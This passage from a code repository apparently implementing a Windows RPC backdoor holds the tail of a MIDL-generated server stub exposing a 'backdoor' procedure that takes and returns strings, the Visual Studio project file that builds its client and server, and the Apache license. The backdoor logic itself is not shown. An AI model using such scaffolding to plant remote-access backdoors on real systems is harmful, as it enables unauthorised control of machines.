 82 |     (RPC_DISPATCH_TABLE*)&BackdoorInterface_v1_0_DispatchTable,
 83 |     0,
 84 |     0,
 85 |     0,
 86 |     &BackdoorInterface_ServerInfo,
 87 |     0x04000000
 88 |     };
 89 | RPC_IF_HANDLE BackdoorInterface_v1_0_s_ifspec = (RPC_IF_HANDLE)& BackdoorInterface___RpcServerInterface;
 90 | 
 91 | extern const MIDL_STUB_DESC BackdoorInterface_StubDesc;
 92 | 
 93 | 
 94 | #if !defined(__RPC_WIN64__)
 95 | #error  Invalid build platform for this stub.
 96 | #endif
 97 | 
 98 | #if !(TARGET_IS_NT50_OR_LATER)
 99 | #error You need Windows 2000 or later to run this stub because it uses these features:
100 | #error   /robust command line switch.
101 | #error However, your C/C++ compilation flags indicate you intend to run this app on earlier systems.
102 | #error This app will fail with the RPC_X_WRONG_STUB_VERSION error.
103 | #endif
104 | 
105 | 
106 | static const rpc_backdoor_server_MIDL_PROC_FORMAT_STRING rpc_backdoor_server__MIDL_ProcFormatString =
107 |     {
108 |         0,
109 |         {
110 | 
111 | 	/* Procedure backdoor */
112 | 
113 | 			0x32,		/* FC_BIND_PRIMITIVE */
114 | 			0x48,		/* Old Flags:  */
115 | /*  2 */	NdrFcLong( 0x0 ),	/* 0 */
116 | /*  6 */	NdrFcShort( 0x0 ),	/* 0 */
117 | /*  8 */	NdrFcShort( 0x10 ),	/* x86 Stack size/offset = 16 */
118 | /* 10 */	NdrFcShort( 0x0 ),	/* 0 */
119 | /* 12 */	NdrFcShort( 0x0 ),	/* 0 */
120 | /* 14 */	0x43,		/* Oi2 Flags:  srv must size, clt must size, has ext, */
121 | 			0x2,		/* 2 */
122 | /* 16 */	0xa,		/* 10 */
123 | 			0x1,		/* Ext Flags:  new corr desc, */
124 | /* 18 */	NdrFcShort( 0x0 ),	/* 0 */
125 | /* 20 */	NdrFcShort( 0x0 ),	/* 0 */
126 | /* 22 */	NdrFcShort( 0x0 ),	/* 0 */
127 | /* 24 */	NdrFcShort( 0x0 ),	/* 0 */
128 | 
129 | 	/* Parameter in_str */
130 | 
131 | /* 26 */	NdrFcShort( 0x200b ),	/* Flags:  must size, must free, in, srv alloc size=8 */
132 | /* 28 */	NdrFcShort( 0x0 ),	/* x86 Stack size/offset = 0 */
133 | /* 30 */	NdrFcShort( 0x2 ),	/* Type Offset=2 */
134 | 
135 | 	/* Parameter out_str */
136 | 
137 | /* 32 */	NdrFcShort( 0x2013 ),	/* Flags:  must size, must free, out, srv alloc size=8 */
138 | /* 34 */	NdrFcShort( 0x8 ),	/* x86 Stack size/offset = 8 */
139 | /* 36 */	NdrFcShort( 0x2 ),	/* Type Offset=2 */
140 | 
141 | 			0x0
142 |         }
143 |     };
144 | 
145 | static const rpc_backdoor_server_MIDL_TYPE_FORMAT_STRING rpc_backdoor_server__MIDL_TypeFormatString =
146 |     {
147 |         0,
148 |         {
149 | 			NdrFcShort( 0x0 ),	/* 0 */
150 | /*  2 */	
151 | 			0x11, 0x14,	/* FC_RP [alloced_on_stack] [pointer_deref] */
152 | /*  4 */	NdrFcShort( 0x2 ),	/* Offset= 2 (6) */
153 | /*  6 */	
154 | 			0x12, 0x8,	/* FC_UP [simple_pointer] */
155 | /*  8 */	
156 | 			0x22,		/* FC_C_CSTRING */
157 | 			0x5c,		/* FC_PAD */
158 | 
159 | 			0x0
160 |         }
161 |     };
162 | 
163 | static const unsigned short BackdoorInterface_FormatStringOffsetTable[] =
164 |     {
165 |     0
166 |     };
167 | 
168 | 
169 | static const MIDL_STUB_DESC BackdoorInterface_StubDesc = 
170 |     {
171 |     (void *)& BackdoorInterface___RpcServerInterface,
172 |     MIDL_user_allocate,
173 |     MIDL_user_free,
174 |     0,
175 |     0,
176 |     0,
177 |     0,
178 |     0,
179 |     rpc_backdoor_server__MIDL_TypeFormatString.Format,
180 |     1, /* -error bounds_check flag */
181 |     0x50002, /* Ndr library version */
182 |     0,
183 |     0x801026e, /* MIDL Version 8.1.622 */
184 |     0,
185 |     0,
186 |     0,  /* notify & notify_flag routine table */
187 |     0x1, /* MIDL flag */
188 |     0, /* cs routines */
189 |     0,   /* proxy/server info */
190 |     0
191 |     };
192 | 
193 | static const RPC_DISPATCH_FUNCTION BackdoorInterface_table[] =
194 |     {
195 |     NdrServerCall2,
196 |     0
197 |     };
198 | static const RPC_DISPATCH_TABLE BackdoorInterface_v1_0_DispatchTable = 
199 |     {
200 |     1,
201 |     (RPC_DISPATCH_FUNCTION*)BackdoorInterface_table
202 |     };
203 | 
204 | static const SERVER_ROUTINE BackdoorInterface_ServerRoutineTable[] = 
205 |     {
206 |     (SERVER_ROUTINE)backdoor
207 |     };
208 | 
209 | static const MIDL_SERVER_INFO BackdoorInterface_ServerInfo = 
210 |     {
211 |     &BackdoorInterface_StubDesc,
212 |     BackdoorInterface_ServerRoutineTable,
213 |     rpc_backdoor_server__MIDL_ProcFormatString.Format,
214 |     BackdoorInterface_FormatStringOffsetTable,
215 |     0,
216 |     0,
217 |     0,
218 |     0};
219 | #if _MSC_VER >= 1200
220 | #pragma warning(pop)
221 | #endif
222 | 
223 | 
224 | #endif /* defined(_M_AMD64)*/
225 | 
226 | 


--------------------------------------------------------------------------------
/Windows_RPC_Backdoor/Windows_RPC_Backdoor.vcxproj:
--------------------------------------------------------------------------------
  1 | <?xml version="1.0" encoding="utf-8"?>
  2 | <Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  3 |   <ItemGroup Label="ProjectConfigurations">
  4 |     <ProjectConfiguration Include="Debug|Win32">
  5 |       <Configuration>Debug</Configuration>
  6 |       <Platform>Win32</Platform>
  7 |     </ProjectConfiguration>
  8 |     <ProjectConfiguration Include="Release|Win32">
  9 |       <Configuration>Release</Configuration>
 10 |       <Platform>Win32</Platform>
 11 |     </ProjectConfiguration>
 12 |     <ProjectConfiguration Include="Debug|x64">
 13 |       <Configuration>Debug</Configuration>
 14 |       <Platform>x64</Platform>
 15 |     </ProjectConfiguration>
 16 |     <ProjectConfiguration Include="Release|x64">
 17 |       <Configuration>Release</Configuration>
 18 |       <Platform>x64</Platform>
 19 |     </ProjectConfiguration>
 20 |   </ItemGroup>
 21 |   <PropertyGroup Label="Globals">
 22 |     <VCProjectVersion>16.0</VCProjectVersion>
 23 |     <Keyword>Win32Proj</Keyword>
 24 |     <ProjectGuid>{01823c97-3419-4078-a063-886afad0645f}</ProjectGuid>
 25 |     <RootNamespace>WindowsRPCBackdoor</RootNamespace>
 26 |     <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
 27 |   </PropertyGroup>
 28 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
 29 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
 30 |     <ConfigurationType>Application</ConfigurationType>
 31 |     <UseDebugLibraries>true</UseDebugLibraries>
 32 |     <PlatformToolset>v143</PlatformToolset>
 33 |     <CharacterSet>Unicode</CharacterSet>
 34 |   </PropertyGroup>
 35 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
 36 |     <ConfigurationType>Application</ConfigurationType>
 37 |     <UseDebugLibraries>false</UseDebugLibraries>
 38 |     <PlatformToolset>v143</PlatformToolset>
 39 |     <WholeProgramOptimization>true</WholeProgramOptimization>
 40 |     <CharacterSet>Unicode</CharacterSet>
 41 |   </PropertyGroup>
 42 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
 43 |     <ConfigurationType>Application</ConfigurationType>
 44 |     <UseDebugLibraries>true</UseDebugLibraries>
 45 |     <PlatformToolset>v143</PlatformToolset>
 46 |     <CharacterSet>Unicode</CharacterSet>
 47 |   </PropertyGroup>
 48 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
 49 |     <ConfigurationType>Application</ConfigurationType>
 50 |     <UseDebugLibraries>false</UseDebugLibraries>
 51 |     <PlatformToolset>v143</PlatformToolset>
 52 |     <WholeProgramOptimization>true</WholeProgramOptimization>
 53 |     <CharacterSet>Unicode</CharacterSet>
 54 |   </PropertyGroup>
 55 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
 56 |   <ImportGroup Label="ExtensionSettings">
 57 |   </ImportGroup>
 58 |   <ImportGroup Label="Shared">
 59 |   </ImportGroup>
 60 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 61 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 62 |   </ImportGroup>
 63 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
 64 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 65 |   </ImportGroup>
 66 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
 67 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 68 |   </ImportGroup>
 69 |   <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
 70 |     <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
 71 |   </ImportGroup>
 72 |   <PropertyGroup Label="UserMacros" />
 73 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 74 |     <LinkIncremental>true</LinkIncremental>
 75 |   </PropertyGroup>
 76 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
 77 |     <LinkIncremental>false</LinkIncremental>
 78 |   </PropertyGroup>
 79 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
 80 |     <LinkIncremental>true</LinkIncremental>
 81 |   </PropertyGroup>
 82 |   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
 83 |     <LinkIncremental>false</LinkIncremental>
 84 |   </PropertyGroup>
 85 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
 86 |     <ClCompile>
 87 |       <WarningLevel>Level3</WarningLevel>
 88 |       <SDLCheck>true</SDLCheck>
 89 |       <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
 90 |       <ConformanceMode>true</ConformanceMode>
 91 |     </ClCompile>
 92 |     <Link>
 93 |       <SubSystem>Console</SubSystem>
 94 |       <GenerateDebugInformation>true</GenerateDebugInformation>
 95 |     </Link>
 96 |   </ItemDefinitionGroup>
 97 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
 98 |     <ClCompile>
 99 |       <WarningLevel>Level3</WarningLevel>
100 |       <FunctionLevelLinking>true</FunctionLevelLinking>
101 |       <IntrinsicFunctions>true</IntrinsicFunctions>
102 |       <SDLCheck>true</SDLCheck>
103 |       <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
104 |       <ConformanceMode>true</ConformanceMode>
105 |     </ClCompile>
106 |     <Link>
107 |       <SubSystem>Console</SubSystem>
108 |       <EnableCOMDATFolding>true</EnableCOMDATFolding>
109 |       <OptimizeReferences>true</OptimizeReferences>
110 |       <GenerateDebugInformation>true</GenerateDebugInformation>
111 |     </Link>
112 |   </ItemDefinitionGroup>
113 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
114 |     <ClCompile>
115 |       <WarningLevel>Level3</WarningLevel>
116 |       <SDLCheck>true</SDLCheck>
117 |       <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
118 |       <ConformanceMode>true</ConformanceMode>
119 |     </ClCompile>
120 |     <Link>
121 |       <SubSystem>Console</SubSystem>
122 |       <GenerateDebugInformation>true</GenerateDebugInformation>
123 |     </Link>
124 |   </ItemDefinitionGroup>
125 |   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
126 |     <ClCompile>
127 |       <WarningLevel>Level3</WarningLevel>
128 |       <FunctionLevelLinking>true</FunctionLevelLinking>
129 |       <IntrinsicFunctions>true</IntrinsicFunctions>
130 |       <SDLCheck>true</SDLCheck>
131 |       <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
132 |       <ConformanceMode>true</ConformanceMode>
133 |     </ClCompile>
134 |     <Link>
135 |       <SubSystem>Console</SubSystem>
136 |       <EnableCOMDATFolding>true</EnableCOMDATFolding>
137 |       <OptimizeReferences>true</OptimizeReferences>
138 |       <GenerateDebugInformation>true</GenerateDebugInformation>
139 |     </Link>
140 |   </ItemDefinitionGroup>
141 |   <ItemGroup>
142 |     <Midl Include="rpc_backdoor_server.idl" />
143 |   </ItemGroup>
144 |   <ItemGroup>
145 |     <ClCompile Include="client.cpp" />
146 |     <ClCompile Include="server.cpp" />
147 |   </ItemGroup>
148 |   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
149 |   <ImportGroup Label="ExtensionTargets">
150 |   </ImportGroup>
151 | </Project>


--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
  1 |                                  Apache License
  2 |                            Version 2.0, January 2004
  3 |                         http://www.apache.org/licenses/
  4 | 
  5 |    TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
  6 | 
  7 |    1. Definitions.
  8 | 
  9 |       "License" shall mean the terms and conditions for use, reproduction,
 10 |       and distribution as defined by Sections 1 through 9 of this document.
 11 | 
 12 |       "Licensor" shall mean the copyright owner or entity authorized by
 13 |       the copyright owner that is granting the License.
 14 | 
 15 |       "Legal Entity" shall mean the union of the acting entity and all
 16 |       other entities that control, are controlled by, or are under common
 17 |       control with that entity. For the purposes of this definition,
 18 |       "control" means (i) the power, direct or indirect, to cause the
 19 |       direction or management of such entity, whether by contract or
 20 |       otherwise, or (ii) ownership of fifty percent (50%) or more of the
 21 |       outstanding shares, or (iii) beneficial ownership of such entity.
 22 | 
 23 |       "You" (or "Your") shall mean an individual or Legal Entity
 24 |       exercising permissions granted by this License.
 25 | 
 26 |       "Source" form shall mean the preferred form for making modifications,
 27 |       including but not limited to software source code, documentation
 28 |       source, and configuration files.
 29 | 
 30 |       "Object" form shall mean any form resulting from mechanical
 31 |       transformation or translation of a Source form, including but
 32 |       not limited to compiled object code, generated documentation,
 33 |       and conversions to other media types.
 34 | 
 35 |       "Work" shall mean the work of authorship, whether in Source or
 36 |       Object form, made available under the License, as indicated by a
 37 |       copyright notice that is included in or attached to the work
 38 |       (an example is provided in the Appendix below).
 39 | 
 40 |       "Derivative Works" shall mean any work, whether in Source or Object
 41 |       form, that is based on (or derived from) the Work and for which the
 42 |       editorial revisions, annotations, elaborations, or other modifications
 43 |       represent, as a whole, an original work of authorship. For the purposes
 44 |       of this License, Derivative Works shall not include works that remain
 45 |       separable from, or merely link (or bind by name) to the interfaces of,
 46 |       the Work and Derivative Works thereof.
 47 | 
 48 |       "Contribution" shall mean any work of authorship, including
 49 |       the original version of the Work and any modifications or additions
 50 |       to that Work or Derivative Works thereof, that is intentionally
 51 |       submitted to Licensor for inclusion in the Work by the copyright owner
 52 |       or by an individual or Legal Entity authorized to submit on behalf of
 53 |       the copyright owner. For the purposes of this definition, "submitted"
 54 |       means any form of electronic, verbal, or written communication sent
 55 |       to the Licensor or its representatives, including but not limited to
 56 |       communication on electronic mailing lists, source code control systems,
 57 |       and issue tracking systems that are managed by, or on behalf of, the
 58 |       Licensor for the purpose of discussing and improving the Work, but
 59 |       excluding communication that is conspicuously marked or otherwise
 60 |       designated in writing by the copyright owner as "Not a Contribution."
 61 | 
 62 |       "Contributor" shall mean Licensor and any individual or Legal Entity
 63 |       on behalf of whom a Contribution has been received by Licensor and
 64 |       subsequently incorporated within the Work.
 65 | 
 66 |    2. Grant of Copyright License. Subject to the terms and conditions of
 67 |       this License, each Contributor hereby grants to You a perpetual,
 68 |       worldwide, non-exclusive, no-charge, royalty-free, irrevocable
 69 |       copyright license to reproduce, prepare Derivative Works of,
 70 |       publicly display, publicly perform, sublicense, and distribute the
 71 |       Work and such Derivative Works in Source or Object form.
 72 | 
 73 |    3. Grant of Patent License. Subject to the terms and conditions of
 74 |       this License, each Contributor hereby grants to You a perpetual,
 75 |       worldwide, non-exclusive, no-charge, royalty-free, irrevocable
 76 |       (except as stated in this section) patent license to make, have made,
 77 |       use, offer to sell, sell, import, and otherwise transfer the Work,
 78 |       where such license applies only to those patent claims licensable
 79 |       by such Contributor that are necessarily infringed by their
 80 |       Contribution(s) alone or by combination of their Contribution(s)
 81 |       with the Work to which such Contribution(s) was submitted. If You
 82 |       institute patent litigation against any entity (including a
 83 |       cross-claim or counterclaim in a lawsuit) alleging that the Work
 84 |       or a Contribution incorporated within the Work constitutes direct
 85 |       or contributory patent infringement, then any patent licenses
 86 |       granted to You under this License for that Work shall terminate
 87 |       as of the date such litigation is filed.
 88 | 
 89 |    4. Redistribution. You may reproduce and distribute copies of the
 90 |       Work or Derivative Works thereof in any medium, with or without
 91 |       modifications, and in Source or Object form, provided that You
 92 |       meet the following conditions:
 93 | 
 94 |       (a) You must give any other recipients of the Work or
 95 |           Derivative Works a copy of this License; and
 96 | 
 97 |       (b) You must cause any modified files to carry prominent notices
 98 |           stating that You changed the files; and
 99 | 
100 |       (c) You must retain, in the Source form of any Derivative Works
101 |           that You distribute, all copyright, patent, trademark, and
102 |           attribution notices from the Source form of the Work,
103 |           excluding those notices that do not pertain to any part of
104 |           the Derivative Works; and
105 | 
106 |       (d) If the Work includes a "NOTICE" text file as part of its
107 |           distribution, then any Derivative Works that You distribute must
108 |           include a readable copy of the attribution notices contained
109 |           within such NOTICE file, excluding those notices that do not
110 |           pertain to any part of the Derivative Works, in at least one
111 |           of the following places: within a NOTICE text file distributed
112 |           as part of the Derivative Works; within the Source form or
113 |           documentation, if provided along with the Derivative Works; or,
114 |           within a display generated by the Derivative Works, if and
115 |           wherever such third-party notices normally appear. The contents
116 |           of the NOTICE file are for informational purposes only and
117 |           do not modify the License. You may add Your own attribution
118 |           notices within Derivative Works that You distribute, alongside
119 |           or as an addendum to the NOTICE text from the Work, provided
120 |           that such additional attribution notices cannot be construed
121 |           as modifying the License.
122 | 
123 |       You may add Your own copyright statement to Your modifications and
124 |       may provide additional or different license terms and conditions
125 |       for use, reproduction, or distribution of Your modifications, or
126 |       for any such Derivative Works as a whole, provided Your use,
127 |       reproduction, and distribution of the Work otherwise complies with
128 |       the conditions stated in this License.
129 | 
130 |    5. Submission of Contributions. Unless You explicitly state otherwise,
131 |       any Contribution intentionally submitted for inclusion in the Work
132 |       by You to the Licensor shall be under the terms and conditions of
133 |       this License, without any additional terms or conditions.
134 |       Notwithstanding the above, nothing herein shall supersede or modify
135 |       the terms of any separate license agreement you may have executed
136 |       with Licensor regarding such Contributions.
137 | 
138 |    6. Trademarks. This License does not grant permission to use the trade
139 |       names, trademarks, service marks, or product names of the Licensor,
140 |       except as required for reasonable and customary use in describing the
141 |       origin of the Work and reproducing the content of the NOTICE file.
142 | 
143 |    7. Disclaimer of Warranty. Unless required by applicable law or
144 |       agreed to in writing, Licensor provides the Work (and each
145 |       Contributor provides its Contributions) on an "AS IS" BASIS,
146 |       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 |       implied, including, without limitation, any warranties or conditions
148 |       of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 |       PARTICULAR PURPOSE. You are solely responsible for determining the
150 |       appropriateness of using or redistributing the Work and assume any
151 |       risks associated with Your exercise of permissions under this License.
152 | 
153 |    8. Limitation of Liability. In no event and under no legal theory,
154 |       whether in tort (including negligence), contract, or otherwise,
155 |       unless required by applicable law (such as deliberate and grossly
156 |       negligent acts) or agreed to in writing, shall any Contributor be
157 |       liable to You for damages, including any direct, indirect, special,
158 |       incidental, or consequential damages of any character arising as a
159 |       result of this License or out of the use or inability to use the
160 |       Work (including but not limited to damages for loss of goodwill,
161 |       work stoppage, computer failure or malfunction, or any and all
162 |       other commercial damages or losses), even if such Contributor
163 |       has been advised of the possibility of such damages.
164 | 
165 |    9. Accepting Warranty or Additional Liability. While redistributing
166 |       the Work or Derivative Works thereof, You may choose to offer,
167 |       and charge a fee for, acceptance of support, warranty, indemnity,
168 |       or other liability obligations and/or rights consistent with this
169 |       License. However, in accepting such obligations, You may act only
170 |       on Your own behalf and on Your sole responsibility, not on behalf
171 |       of any other Contributor, and only if You agree to indemnify,
172 |       defend, and hold each Contributor harmless for any liability
173 |       incurred by, or claims asserted against, such Contributor by reason
174 |       of your accepting any such warranty or additional liability.
175 | 
176 |    END OF TERMS AND CONDITIONS
177 | 
178 |    APPENDIX: How to apply the Apache License to your work.
179 | 
180 |       To apply the Apache License to your work, attach the following
181 |       boilerplate notice, with the fields enclosed by brackets "[]"
182 |       replaced with your own identifying information. (Don't include
183 |       the brackets!)  The text should be enclosed in the appropriate
184 |       comment syntax for the file format. We also recommend that a
185 |       file or class name and description of purpose be included on the
186 |       same "printed page" as the copyright notice for easier
187 |       identification within third-party archives.
188 | 
189 |    Copyright [yyyy] [name of copyright owner]
190 | 
191 |    Licensed under the Apache License, Version 2.0 (the "License");
192 |    you may not use this file except in compliance with the License.
193 |    You may obtain a copy of the License at
194 | 
195 |        http://www.apache.org/licenses/LICENSE-2.0
196 | 
197 |    Unless required by applicable law or agreed to in writing, software
198 |    distributed under the License is distributed on an "AS IS" BASIS,
199 |    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 |    See the License for the specific language governing permissions and
201 |    limitations under the License.
202 | 


--------------------------------------------------------------------------------